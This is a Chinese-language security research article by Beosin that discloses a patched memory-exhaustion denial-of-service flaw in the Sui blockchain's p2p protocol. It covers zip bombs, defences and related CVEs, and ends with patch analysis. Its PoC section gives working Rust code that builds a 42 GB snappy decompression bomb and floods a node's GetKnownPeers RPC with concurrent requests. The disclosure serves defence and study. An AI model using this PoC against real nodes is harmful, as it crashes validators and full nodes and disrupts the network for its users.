Beosin硬核安全研究 | 内存炸弹漏洞导致Sui节点崩溃?
摘要: 此前Beosin安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。
本文作者:Beosin安全研究专家Poet
目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。
前言
此前Beosin安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。
本文通过对该漏洞的介绍,希望大家对“内存炸弹”攻击和其防御手段有更多的认识和理解。Beosin作为区块链安全行业的领先者,我们持续关注公链平台的安全性
什么是内存炸弹?
最早的内存炸弹是zip炸弹,也叫死亡zip,是一种恶意的计算机文件,会使读取它的程序崩溃或失效。zip炸弹不会劫持程序的操作,而是一个消耗过多时间、磁盘空间或内存来解压缩的压缩包。
zip 炸弹的一个例子是文件42.zip,它是一个由42KB压缩数据组成的zip文件,包含16组的五层嵌套zip文件,每个底层存档包含一个4.3GB字节(4 294 967295 字节;4 GiB − 1 B)的文件,总计 4.5 PB(4503 599626321 920 字节;4 PiB − 1 MiB) 的未压缩数据。
zip炸弹的基本原理是,我们生成一个非常大的内容全是0(或者其他值)的文件,然后压缩成zip文件,由于相同内容的文件的压缩比非常大,此时生成的zip文件非常小。被攻击目标在解压zip文件之后,需要消耗非常多的内存来存储被解压之后的文件,内存会被快速耗尽,目标因为OOM而崩溃。
我们在Windows上做一个简单的实验:
利用如下命令生成一个内容全是0的,大小为1GB的文件:fsutil file createnew test.txt 1073741824
利用7zip命令,将文件压缩为zip格式:7z a test.zip test.txt
压缩后的文件大小为:1.20MB
由此我们可以知道,对于全部是0的文件,zip压缩比接近851:1
其实,任何格式的压缩包都有可能成为内存炸弹,不仅仅是zip压缩包。
我们继续这个实验,在Windows上用7zip将1GB的内容全是0的大文件,压缩为不同的格式。这样我们得出下面的压缩比列表:
事实上,不同的文件格式支持不同的压缩算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同压缩算法的压缩比是不一样的。上面的表格是基于7zip默认压缩算法的测试结果。
内存炸弹一般防御方法
我们可以通过限制解压后的文件大小来防御“内存炸弹”攻击。以下的方法可以限制解压后的文件大小:
1 解压后的数据大小放入压缩包里面。在压缩文件的某个位置读取这个值,然后判断其大小是否符合要求。
2 第一个方法无法完全解决这个问题,因为解压后的文件大小可以被伪造。所以我们可以传递一个固定大小的Buffer,解压过程中,如果数据大小超出Buffer的边界,那么就停止解压,返回失败信息。
3 还有一个办法是流式解压。一边传入小部分压缩数据,一边解压这个数据,同时累加解压后的数据大小,如果在某一个时刻,解压后的数据大小超过阈值,就停止解压,返回失败信息。
历史上的“内存炸弹”漏洞
1 CVE-2023-3782
这是一个OKHttp库的漏洞。OKHttp支持Brotli压缩算法,如果HTTP响应指定了Brotli压缩算法,由于OKHttp没有做“内存炸弹”攻击的防御,客户端会因为内存耗尽而崩溃。
漏洞描述:https://github.com/square/okhttp/issues/7738
漏洞补丁:https://github.com/envoyproxy/envoy/commit/d4c39e635603e2f23e1e08ddecf5a5fb5a706338#diff-88b327a1e72d55d1bb686b3b1f28f594b6b08139968304e6804a808fbb375ff0R26
我们可以看到,漏洞补丁限制了压缩系数。
2 CVE-2022-36114
这是Rust包管理器Cargo的一个漏洞。Cargo从代码源下载包的时候,没有做“内存炸弹”防御,导致解压之后的文件占用的磁盘空间非常大。
漏洞描述:https://github.com/rust-lang/cargo/security/advisories/GHSA-2hvr-h6gw-qrxp漏洞补丁:https://github.com/rust-lang/cargo/commit/d1f9553c825f6d7481453be8d58d0e7f117988a7
我们可以看到,漏洞补丁限制解压后的文件大小最大为512MB。
3 CVE-2022-32206
这是知名网络下载工具curl的一个漏洞。curl < 7.84.0 支持“链式”HTTP 压缩算法,这意味着服务器响应可以多次压缩,并且可能使用不同的算法。这个“解压链”中可接受的“链接”数量是无限的,允许恶意服务器插入几乎无限数量的压缩步骤。使用这样的解压链可能会导致“内存炸弹”,使得curl最终花费大量的内存,因内存不足发生错误。
漏洞细节:https://lists.debian.org/debian-lts-announce/2022/08/msg00017.html
Sui漏洞描述
1 在Sui的p2p协议中,为了减少带宽压力,有部分RPC消息是用snappy算法压缩的。
2 每个Sui节点(不管是validator还是fullnode)在p2p网络中都提供节点发现("/sui.Discovery/GetKnownPeers")和数据同步("/sui.StateSync/PushCheckpointSummary")RPC服务。节点发现和数据同步的RPC消息,实际上是使用snappy压缩过的数据。在处理RPC消息的过程中,节点先将数据全部解压到内存,再用bcs算法反序列化,然后释放解压数据和原始数据。处理RPC数据的代码在"crates/mysten-network/src/codec.rs"文件里: impl<U: serde::de::DeserializeOwned> Decoder for BcsSnappyDecoder<U> {
type Item = U;
type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result<Self::Item, Self::Error> {
let compressed_size = buf.len();
let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader());
let mut bytes = Vec::with_capacity(compressed_size);
//Decompress
snappy_decoder.read_to_end(&mut bytes)?;
//Deserialize
bcs::from_bytes(bytes.as_slice())
}
}
3 RPC消息的最大size为2G。这个限制硬编码在"crates/sui-node/src/lib.rs"文件里面: let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default();
// Set the max_frame_size to be 2 GB to work around the issue of there being too many
// staking events in the epoch change txn.
anemo_config.max_frame_size = Some(2 << 30); // size of 2G !!!!!
4 我们可以创建一个1.97G的snappy压缩文件,解压之后变为42G,且文件内容全部为0。
5 选择"/sui.Discovery/GetKnownPeers"这个p2p RPC作为被攻击的接口,向其发送大小为1.97G的RPC消息。那么节点需要至少42+1.97=43.97G的内存来解压这个消息。
6 如果Sui节点(不管是validator还是fullnode)可用内存超过43.97G,那么我们可以同时发送n个RPC消息,这样在某个时间点,sui节点需要m(m一般小于n)个43.97G内存空间才能处理我们的攻击payload。
如果内存不足,sui节点就会崩溃。
以下是我们的测试结果
我们可以看到,节点因为“Out of memory”而被系统“杀死”。
PoC
1 创建基于snappy算法的“内存炸弹” //generate the "memory bomb"
//48.2M -> 1G
//96.4M -> 2G
//385M -> 8G
//1.97G -> 42G
//
//set "how_many_gb" to set the decompressed size of "bomb"
let buf = [0; 1024];
let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap();
let mut encoder = snap::write::FrameEncoder::new(&file);
let how_many_gb = 42;
for _i in 0..1024 * 1024 * how_many_gb {
let _ = encoder.write_all(&buf).unwrap();
}
return;
2 攻击节点pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {
let router = f(anemo::Router::new());
let mut config = Config::default();
config.max_frame_size = Some(2 << 30);
// config.max_frame_size = Some(usize::MAX);
config.outbound_request_timeout_ms = Some(100 * 1000);
let network = anemo::Network::bind("0.0.0.0:0")
.private_key(random_key())
.server_name(chain_id)
.alternate_server_name("sui")
.config(config)
.start(router)
.unwrap();
println!(
"starting network {} {}",
network.local_addr(),
network.peer_id(),
);
network
}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> {
let network = build_network(|a| {a},chain_id);
let (mut rec, _a) = network.subscribe()?;
tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf);
*request.route_mut() = "/sui.Discovery/GetKnownPeers".into();
// *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into();
let response = network.rpc(peerid, request).await?;
println!("{:?}", response);
loop {
sleep(Duration::from_millis(2000)).await;
}
}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]
async fn main() {
//read the "bomb" file.
let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap();
let mut buf: Vec<u8> = Vec::new();
let _size = in_file.read_to_end(&mut buf).unwrap();
let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!!
let concurrent_attack = 20;
let target_ip = "192.168.153.129";
let target_port = 35561;
//you can get your private network's chain_id from the sui-node's stdout.
let chain_id = "sui-76e065b8";
for _i in 0..concurrent_attack {
let bs = bs.clone();
tokio::spawn(async move {
let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await;
println!("error : {:?}", respone);
});
}
loop {
sleep(Duration::from_millis(2000)).await;
}
}
补丁代码分析
补丁链接:https://github.com/MystenLabs/sui/commit/42d4ad103a21d23fecd7c0271453da41604e71e9
我们可以看到补丁代码利用了流式解压,并限制了解压后的最大大小为1G。同时将RPC消息的大小限制从2G降低为1G。
漏洞影响
这个漏洞可以导致单个节点崩溃(validator和fullnode)。漏洞利用非常简单,只需要启动多个线程向节点发送payload,就可导致节点崩溃,不需要消耗gas费用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影响。
漏洞修复
Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。Beosin也将持续关注各大公链上的漏洞,为整个Web3生态护航。
Beosin作为一家全球领先的区块链安全公司,在全球10多个国家和地区设立了分部,业务涵盖项目上线前的代码安全审计、项目运行时的安全风险监控、预警与阻断、虚拟货币被盗资产追回、安全合规KYT/AML等“一站式”区块链安全产品+服务,公司致力于Web3生态的安全发展,已为全球3000多个企业提供区块链安全技术服务,包括HashKey Group、Amber Group、BNB Chain等,已审计智能合约和公链主网超3000份,包括PancakeSwap、Ronin Network、OKCSwap等。
评论(0)
Oh! no
您是否确认要删除该条评论吗?